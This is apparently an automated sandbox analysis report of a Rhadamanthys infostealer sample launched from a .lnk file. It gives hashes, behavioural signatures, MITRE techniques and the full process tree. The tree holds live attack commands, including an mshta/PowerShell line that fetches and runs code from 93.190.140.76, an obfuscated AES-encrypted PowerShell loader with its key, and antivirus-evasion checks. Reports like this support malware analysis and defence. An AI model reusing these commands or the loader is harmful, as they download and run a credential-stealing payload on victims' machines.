rhadamanthys | e7dec31185f1555bb009e5f7348a31f98bb0d60c82d81c6ab42f95d6715ca6dc

Analysis

max time kernel
148s
max time network
154s
platform
windows10-2004_x64
resource
win10v2004-20240412-en
resource tags

arch:x64arch:x86image:win10v2004-20240412-enlocale:en-usos:windows10-2004-x64system
submitted
19-04-2024 02:06

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

e7dec31185f1555bb009e5f7348a31f98bb0d60c82d81c6ab42f95d6715ca6dc.lnk
Size

1KB
MD5

6b602c96ff01c4f55c7a625b2358a988
SHA1

af42a6e2c1b97a958cf9e50a30cdf02221c07098
SHA256

e7dec31185f1555bb009e5f7348a31f98bb0d60c82d81c6ab42f95d6715ca6dc
SHA512

a793e118ba79adfe4370dd9a7f20dc90e64c3edc80a2f7fce052241c311e59fb15e71d4f1e38c60c9730cff6af9583c3fbcad9320f69968e8b90d7424036af95

Score

10^/10

rhadamanthys stealer

Malware Config

Extracted

Language

hta

Source

URLs

hta.dropper

http://93.190.140.76/factura

Signatures

Rhadamanthys
Rhadamanthys is an info stealer written in C++ first seen in August 2022.
stealer rhadamanthys
Suspicious use of NtCreateUserProcessOtherParentProcess 1 IoCs

Processes:

Cheers.pif

description pid process target process

PID 2672 created 2544 2672 Cheers.pif sihost.exe
Blocklisted process makes network request 2 IoCs

Processes:

mshta.exepowershell.exe

flow pid process

17 1288 mshta.exe
25 652 powershell.exe
Downloads MZ/PE file

description	pid	process	target process
PID 2672 created 2544	2672	Cheers.pif	sihost.exe

flow	pid	process
17	1288	mshta.exe
25	652	powershell.exe

Checks computer location settings 2 TTPs 3 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

cmd.exemshta.exeDisabilityCharge.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000\Control Panel\International\Geo\Nation	cmd.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000\Control Panel\International\Geo\Nation	mshta.exe
Key value queried	\REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000\Control Panel\International\Geo\Nation	DisabilityCharge.exe

Executes dropped EXE 2 IoCs

Processes:

DisabilityCharge.exeCheers.pif

pid process

3612 DisabilityCharge.exe
2672 Cheers.pif
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Program crash 1 IoCs

Processes:

WerFault.exe

pid pid_target process target process

780 2672 WerFault.exe Cheers.pif

pid	process
3612	DisabilityCharge.exe
2672	Cheers.pif

pid	pid_target	process	target process
780	2672	WerFault.exe	Cheers.pif

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

Processes:

AcroRd32.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	AcroRd32.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	AcroRd32.exe

Enumerates processes with tasklist 1 TTPs 2 IoCs

Process Discovery
T1057

Processes:

tasklist.exetasklist.exe

pid process

4808 tasklist.exe
4252 tasklist.exe

pid	process
4808	tasklist.exe
4252	tasklist.exe

Modifies Internet Explorer settings 1 TTPs 1 IoCs

adware spyware

Modify Registry

T1112

Processes:

AcroRd32.exe

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000\SOFTWARE\Microsoft\Internet Explorer\Main\FeatureControl\FEATURE_BROWSER_EMULATION	AcroRd32.exe

Modifies registry class 1 IoCs

Processes:

powershell.exe

description ioc process

Key created \REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000_Classes\Local Settings powershell.exe
Runs ping.exe 1 TTPs 1 IoCs

Remote System Discovery
T1018

Processes:

PING.EXE

pid process

3832 PING.EXE

description	ioc	process
Key created	\REGISTRY\USER\S-1-5-21-1826666146-2574340311-1877551059-1000_Classes\Local Settings	powershell.exe

pid	process
3832	PING.EXE

Suspicious behavior: EnumeratesProcesses 42 IoCs

Processes:

powershell.exepowershell.exeCheers.pifAcroRd32.exedialer.exe

pid	process
4440	powershell.exe
4440	powershell.exe
652	powershell.exe
652	powershell.exe
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
2672	Cheers.pif
2672	Cheers.pif
836	dialer.exe
836	dialer.exe
836	dialer.exe
836	dialer.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

Processes:

powershell.exepowershell.exetasklist.exetasklist.exe

description	pid	process
Token: SeDebugPrivilege	4440	powershell.exe
Token: SeDebugPrivilege	652	powershell.exe
Token: SeDebugPrivilege	4808	tasklist.exe
Token: SeDebugPrivilege	4252	tasklist.exe

Suspicious use of FindShellTrayWindow 4 IoCs

Processes:

AcroRd32.exeCheers.pif

pid process

316 AcroRd32.exe
2672 Cheers.pif
2672 Cheers.pif
2672 Cheers.pif
Suspicious use of SendNotifyMessage 3 IoCs

Processes:

Cheers.pif

pid process

2672 Cheers.pif
2672 Cheers.pif
2672 Cheers.pif
Suspicious use of SetWindowsHookEx 5 IoCs

Processes:

AcroRd32.exe

pid process

316 AcroRd32.exe
316 AcroRd32.exe
316 AcroRd32.exe
316 AcroRd32.exe
316 AcroRd32.exe

pid	process
316	AcroRd32.exe
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif

pid	process
2672	Cheers.pif
2672	Cheers.pif
2672	Cheers.pif

pid	process
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe
316	AcroRd32.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

cmd.exeforfiles.exepowershell.exemshta.exepowershell.exeDisabilityCharge.exeAcroRd32.exeRdrCEF.exe

description	pid	process	target process
PID 3752 wrote to memory of 4856	3752	cmd.exe	forfiles.exe
PID 3752 wrote to memory of 4856	3752	cmd.exe	forfiles.exe
PID 4856 wrote to memory of 4440	4856	forfiles.exe	powershell.exe
PID 4856 wrote to memory of 4440	4856	forfiles.exe	powershell.exe
PID 4440 wrote to memory of 1288	4440	powershell.exe	mshta.exe
PID 4440 wrote to memory of 1288	4440	powershell.exe	mshta.exe
PID 1288 wrote to memory of 652	1288	mshta.exe	powershell.exe
PID 1288 wrote to memory of 652	1288	mshta.exe	powershell.exe
PID 652 wrote to memory of 316	652	powershell.exe	AcroRd32.exe
PID 652 wrote to memory of 316	652	powershell.exe	AcroRd32.exe
PID 652 wrote to memory of 316	652	powershell.exe	AcroRd32.exe
PID 652 wrote to memory of 3612	652	powershell.exe	DisabilityCharge.exe
PID 652 wrote to memory of 3612	652	powershell.exe	DisabilityCharge.exe
PID 652 wrote to memory of 3612	652	powershell.exe	DisabilityCharge.exe
PID 3612 wrote to memory of 3164	3612	DisabilityCharge.exe	cmd.exe
PID 3612 wrote to memory of 3164	3612	DisabilityCharge.exe	cmd.exe
PID 3612 wrote to memory of 3164	3612	DisabilityCharge.exe	cmd.exe
PID 316 wrote to memory of 3600	316	AcroRd32.exe	RdrCEF.exe
PID 316 wrote to memory of 3600	316	AcroRd32.exe	RdrCEF.exe
PID 316 wrote to memory of 3600	316	AcroRd32.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2800	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2516	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2516	3600	RdrCEF.exe	RdrCEF.exe
PID 3600 wrote to memory of 2516	3600	RdrCEF.exe	RdrCEF.exe

C:\Windows\system32\sihost.exe
sihost.exe
1⤵
PID:2544

C:\Windows\SysWOW64\dialer.exe
"C:\Windows\system32\dialer.exe"
2⤵
- Suspicious behavior: EnumeratesProcesses
PID:836

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\e7dec31185f1555bb009e5f7348a31f98bb0d60c82d81c6ab42f95d6715ca6dc.lnk
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:3752

C:\Windows\System32\forfiles.exe
"C:\Windows\System32\forfiles.exe" /p C:\Windows\System32 /m calc.exe /c "powershell . mshta http://93.190.140.76/factura"
2⤵
- Suspicious use of WriteProcessMemory
PID:4856

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
. mshta http://93.190.140.76/factura
3⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4440

C:\Windows\system32\mshta.exe
"C:\Windows\system32\mshta.exe" http://93.190.140.76/factura
4⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1288

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -w 1 -ep Unrestricted -nop function Dkebzp($jGtIwqJ){return -split ($jGtIwqJ -replace '..', '0x$& ')};$qyhPLTp = Dkebzp('1711092BF9B0498E1CB3F4FCA27BB53436B88A01640435E5544FA921AD2DF68E704CD4BB33CC6D0BA46D3C6172782EC2C90561C76FCED9E514DA0CAA9E39B7FDA05C272D80561D30155EB5B51897C6CB92DB0E76E31D061AB77FA7AEB21E8E441B112651FB0C5FECB36D8BDCD7E0B75FA0AD39EADA43CD96C5C1CD910083C175604A60D47F14DEF0CB354A0458A60E0EA40D7236C03AC86390606577402C984DA3CEF04F2EBEF0A8656EF717E1131705E9CA15915C784DA81E9154A9D688AEFDFD68158BEC1A035AFCA5088667E17128D162A371E69C25CE60D4C15879B04750388663E6460323D62DD4E9372DA3D5E418E389DB5642ADDB9DAA165C5E622939EEBA483EE7D59C67C6D3D50F5EBDCF34D3E2319CF22199398DDD5EC04779802A0933109DE65D44F793DE33452EDDF22D2B3A89830A8576D7392FBBD0951223FAD29F498F3180159FF0FBC97F729331AFC56B1015A89D5AA31F004277692BF5F902DA31CB75DB3F4EF2B69083B17F08B20119A1A08A78A4A766DBEE9E581E2662ABD0ACFACD26F8F5574E2F30B93EEDBEB316A3BA01096F17EB7E6DCA66B3A05666AF0FC469B56A1749D7B414D5F2CCB9F7C0211AEFAB19C30D189AF44924FE1A82AA64A984A3BE40DAA7BB8800C2B5DF8CD45530C988B0B3C741FB02B66343612758142A2EDB4403A33711D583464DD1C042F81628136AA31D370768398745BDC47A3915AF5C567AD476DB6B358CC8812F36C7C36ED81D1E0033CCD8F328430DBE1946FB6D80E5E3E7420E288EC860E969E05214ED2DD3D213BC9B8ABF347683FD30364243FF0CE947D7E8F7F33EE23FC6849F3F7FE450A5DA73AFD10A6B0BDD8A76C13BD787F111E42C465FCFD1FDC0E45F755102873D071FC4A9636AA862AFE6BF7C6F8822AAF3E385F70A2D175D482CB92ABA004204105D01B8845C7648ED3006B097FA5E95EF4E2FE337E70B0648E9DF2164205C09536D8EA64C31E8D75BB88645C3D160245D5F636744EB817008ED14CCD29B1FAC9B3CEB6F823DDE8CFD0617D49D6083FDC0EAF4097789859B3D77FD4860B5FE475B0267E75A0773FAC2F23A67C9B576FB3050AA93ACFB28BCC1E550FF106331190F8803607EB09D95FE69AE0F521461F9E901D294AFB18E0E55491FD35822662DE76CF1D23EAA0E91156B7172F588AC14A04DA595B48AAE953F9889C2E26CB13F2AB257C97DC6D7E5D00FBF7361AF5FD57731F84675C96A2C6316B179B8926173B8DFFE4C2ACC62ACD5A245EACDAB5E3CF6380F641AF1333712D7A910BD38C59EEE1E69C9F6A929E54775852C579C8447BD5BFC35B81EECB1EB65A3CFA4E76749158193053E9860100A2ACA41B747C7468E97236D191C109611DD580E764A19BCBA4C983B1796B03632652F28B437FD99DF743127BC897CF97039BAAAADDE0C758658DF3502517269834AFA2D69CA5CE622662C39FBD196BA05B0C11572A1B133B51316A3D3CD781100276103CABFBB98359B198DA8F71641EF53CA3BF72D6B54FA02718DF65C1D87C08394F4D9573D61115CBAC645066116B363A803F06D54BEF08D50D4B5CCCE9CD1031477D258E7C116129807D01128CA39D32A00E29BA9D45079B7E6BFF36ABBA9792C80FD03D0A021E5F53521554DF5CDD5EF625D60F00AA503CAF0F30870D5E33C623CAF35543080ACD33439311A0A0B');$rGETn = [System.Security.Cryptography.Aes]::Create();$rGETn.Key = Dkebzp('636158597A4E53476158574947456D5A');$rGETn.IV = New-Object byte[] 16;$hNXGKDGH = $rGETn.CreateDecryptor();$rdOdyccxC = $hNXGKDGH.TransformFinalBlock($qyhPLTp, 0, $qyhPLTp.Length);$PMOsBUvsZ = [System.Text.Encoding]::Utf8.GetString($rdOdyccxC);$hNXGKDGH.Dispose();& $PMOsBUvsZ.Substring(0,3) $PMOsBUvsZ.Substring(3)
5⤵
- Blocklisted process makes network request
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:652

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroRd32.exe" "C:\Users\Admin\AppData\Roaming\SA160.pdf"
6⤵
- Checks processor information in registry
- Modifies Internet Explorer settings
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:316

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --backgroundcolor=16514043
7⤵
- Suspicious use of WriteProcessMemory
PID:3600

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=C7E594FA06F087F6538CFDFDB2A331C4 --mojo-platform-channel-handle=1720 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:2800

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=48E5E613324B9167510EBE2D666A19EC --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=48E5E613324B9167510EBE2D666A19EC --renderer-client-id=2 --mojo-platform-channel-handle=1752 --allow-no-sandbox-job /prefetch:1
8⤵
PID:2516

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=renderer --disable-browser-side-navigation --disable-gpu-compositing --service-pipe-token=ACFBC73AFEEC9D2347F426FBDBDCED46 --lang=en-US --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --enable-pinch --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --enable-gpu-async-worker-context --content-image-texture-target=0,0,3553;0,1,3553;0,2,3553;0,3,3553;0,4,3553;0,5,3553;0,6,3553;0,7,3553;0,8,3553;0,9,3553;0,10,3553;0,11,3553;0,12,3553;0,13,3553;0,14,3553;0,15,3553;0,16,3553;0,17,3553;0,18,3553;1,0,3553;1,1,3553;1,2,3553;1,3,3553;1,4,3553;1,5,3553;1,6,3553;1,7,3553;1,8,3553;1,9,3553;1,10,3553;1,11,3553;1,12,3553;1,13,3553;1,14,3553;1,15,3553;1,16,3553;1,17,3553;1,18,3553;2,0,3553;2,1,3553;2,2,3553;2,3,3553;2,4,3553;2,5,3553;2,6,3553;2,7,3553;2,8,3553;2,9,3553;2,10,3553;2,11,3553;2,12,3553;2,13,3553;2,14,3553;2,15,3553;2,16,3553;2,17,3553;2,18,3553;3,0,3553;3,1,3553;3,2,3553;3,3,3553;3,4,3553;3,5,3553;3,6,3553;3,7,3553;3,8,3553;3,9,3553;3,10,3553;3,11,3553;3,12,3553;3,13,3553;3,14,3553;3,15,3553;3,16,3553;3,17,3553;3,18,3553;4,0,3553;4,1,3553;4,2,3553;4,3,3553;4,4,3553;4,5,3553;4,6,3553;4,7,3553;4,8,3553;4,9,3553;4,10,3553;4,11,3553;4,12,3553;4,13,3553;4,14,3553;4,15,3553;4,16,3553;4,17,3553;4,18,3553;5,0,3553;5,1,3553;5,2,3553;5,3,3553;5,4,3553;5,5,3553;5,6,3553;5,7,3553;5,8,3553;5,9,3553;5,10,3553;5,11,3553;5,12,3553;5,13,3553;5,14,3553;5,15,3553;5,16,3553;5,17,3553;5,18,3553;6,0,3553;6,1,3553;6,2,3553;6,3,3553;6,4,3553;6,5,3553;6,6,3553;6,7,3553;6,8,3553;6,9,3553;6,10,3553;6,11,3553;6,12,3553;6,13,3553;6,14,3553;6,15,3553;6,16,3553;6,17,3553;6,18,3553 --disable-accelerated-video-decode --service-request-channel-token=ACFBC73AFEEC9D2347F426FBDBDCED46 --renderer-client-id=4 --mojo-platform-channel-handle=2300 --allow-no-sandbox-job /prefetch:1
8⤵
PID:3312

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=EDD25BC9B2FA96440A89C99743E8D022 --mojo-platform-channel-handle=2572 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:3644

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=86B8EE08F82FB65D8289EC0F367160B4 --mojo-platform-channel-handle=2680 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:2168

C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe
"C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\RdrCEF.exe" --type=gpu-process --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --gpu-preferences=GAAAAAAAAAAAB4AAAQAAAAAAAAAAAGAA --use-gl=swiftshader-webgl --gpu-vendor-id=0x1234 --gpu-device-id=0x1111 --gpu-driver-vendor="Google Inc." --gpu-driver-version=3.3.0.2 --gpu-driver-date=2017/04/07 --disable-pack-loading --lang=en-US --log-file="C:\Program Files (x86)\Adobe\Acrobat Reader DC\Reader\AcroCEF\debug.log" --log-severity=disable --product-version="ReaderServices/19.10.20064 Chrome/64.0.3282.119" --service-request-channel-token=18AA4C2E6FB5F632F51D835BC0B8257A --mojo-platform-channel-handle=2624 --allow-no-sandbox-job --ignored=" --type=renderer " /prefetch:2
8⤵
PID:4352

C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe
"C:\Users\Admin\AppData\Roaming\DisabilityCharge.exe"
6⤵
- Checks computer location settings
- Executes dropped EXE
- Suspicious use of WriteProcessMemory
PID:3612

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\system32\cmd.exe" /c move Observed Observed.bat && Observed.bat
7⤵
PID:3164

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4808

C:\Windows\SysWOW64\findstr.exe
findstr /I "wrsa.exe opssvc.exe"
8⤵
PID:3360

C:\Windows\SysWOW64\tasklist.exe
tasklist
8⤵
- Enumerates processes with tasklist
- Suspicious use of AdjustPrivilegeToken
PID:4252

C:\Windows\SysWOW64\findstr.exe
findstr /I "avastui.exe avgui.exe nswscsvc.exe sophoshealth.exe"
8⤵
PID:3776

C:\Windows\SysWOW64\cmd.exe
cmd /c md 5160955
8⤵
PID:4804

C:\Windows\SysWOW64\findstr.exe
findstr /V "AndreaAccessibleOriginallyElizabeth" Ons
8⤵
PID:2508

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b 5160955\Cheers.pif + Software + Cap + Typing + Cingular + Dominican 5160955\Cheers.pif
8⤵
PID:5024

C:\Windows\SysWOW64\cmd.exe
cmd /c copy /b Customs + Placing + Anatomy + Church 5160955\M
8⤵
PID:1904

C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\5160955\Cheers.pif
5160955\Cheers.pif 5160955\M
8⤵
- Suspicious use of NtCreateUserProcessOtherParentProcess
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of FindShellTrayWindow
- Suspicious use of SendNotifyMessage
PID:2672

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -u -p 2672 -s 924
9⤵
- Program crash
PID:780

C:\Windows\SysWOW64\PING.EXE
ping -n 5 127.0.0.1
8⤵
- Runs ping.exe
PID:3832

C:\Windows\System32\CompPkgSrv.exe
C:\Windows\System32\CompPkgSrv.exe -Embedding
1⤵
PID:4360

C:\Windows\SysWOW64\WerFault.exe
C:\Windows\SysWOW64\WerFault.exe -pss -s 444 -p 2672 -ip 2672
1⤵
PID:1836

Network

MITRE ATT&CK Matrix ATT&CK v13

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Credential Access

Discovery

Query Registry

T1012

